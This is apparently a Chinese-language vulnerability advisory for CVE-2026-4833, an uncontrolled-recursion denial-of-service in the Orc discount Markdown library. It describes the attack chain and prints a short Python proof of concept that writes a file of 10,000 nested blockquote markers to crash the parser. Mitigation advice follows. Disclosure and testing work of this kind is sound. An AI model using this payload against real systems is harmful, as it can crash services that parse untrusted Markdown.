IPBUF安全漏洞报告
English
CVE-2026-4833 CVSS 3.3 低危

CVE-2026-4833 Orc discount 无限制递归漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-4833
漏洞类型
拒绝服务
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Orc discount

相关标签

拒绝服务递归漏洞MarkdownOrc discount栈溢出

漏洞概述

Orc discount 是一款广泛使用的 Markdown 处理库。在版本 3.0.1.2 及之前的版本中,markdown.c 文件的 compile 函数存在无限制递归漏洞。攻击者可利用精心构造的包含无限深度块引用的 Markdown 文件触发该缺陷,导致应用程序崩溃。该漏洞利用难度低,需本地低权限访问,且无需用户交互,主要对系统可用性造成影响。

技术细节

该漏洞的根源在于 Orc discount 库在处理 Markdown 格式数据时,特别是解析嵌套块引用(Blockquote)语法时,缺乏对递归深度的有效检查机制。当解析器遇到深度嵌套的块引用结构(如连续的 > 符号)时,markdown.c 文件中的 compile 函数会不断进行递归调用以处理嵌套的层级关系和缩进逻辑。由于代码内部未设置最大递归深度阈值或栈溢出保护机制,处理极其深度的嵌套结构会迅速耗尽线程的调用栈空间。攻击者只需创建一个包含数千层连续嵌套引用的恶意 Markdown 文件,并在本地环境中诱使受影响的应用程序解析该文件,即可触发栈溢出异常,导致进程崩溃或系统服务不可用。这属于典型的基于资源耗尽的本地拒绝服务攻击。

攻击链分析

STEP 1
1. 漏洞侦察
攻击者确认目标系统使用了存在漏洞的 Orc discount 版本(<= 3.0.1.2)。
STEP 2
2. 构造恶意载荷
攻击者编写脚本生成包含极深层次嵌套块引用的 Markdown 文件。
STEP 3
3. 执行攻击
攻击者将恶意文件传递给目标应用程序进行解析(本地执行)。
STEP 4
4. 触发崩溃
解析器在处理嵌套结构时发生无限制递归,导致栈溢出,程序崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import sys # PoC Generator for CVE-2026-4833 # Generates a deeply nested markdown file to trigger uncontrolled recursion def generate_exploit(depth=10000, output_file="exploit.md"): """ Creates a markdown file with deeply nested blockquotes. Discount's compile() function recurses on each level, leading to a stack overflow (crash). """ try: # Constructing the nested blockquote string # Markdown blockquotes are often represented by '>' characters payload = ">" * depth + " Crash Test" with open(output_file, "w", encoding="utf-8") as f: f.write(payload) print(f"[+] Exploit file generated: {output_file}") print(f"[+] Depth: {depth}") print("[*] Feed this file to the vulnerable Orc discount parser to trigger the crash.") except Exception as e: print(f"[-] Error generating file: {e}") if __name__ == "__main__": # Depth of 10000 should be sufficient to exhaust default stack limits generate_exploit(depth=10000)

影响范围

Orc discount <= 3.0.1.2

防御指南

临时缓解措施
建议在解析 Markdown 内容前,预先检查输入的嵌套深度或实施输入过滤。如果无法立即升级,应在沙箱或资源受限的环境中运行解析器,以防止主机系统崩溃。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表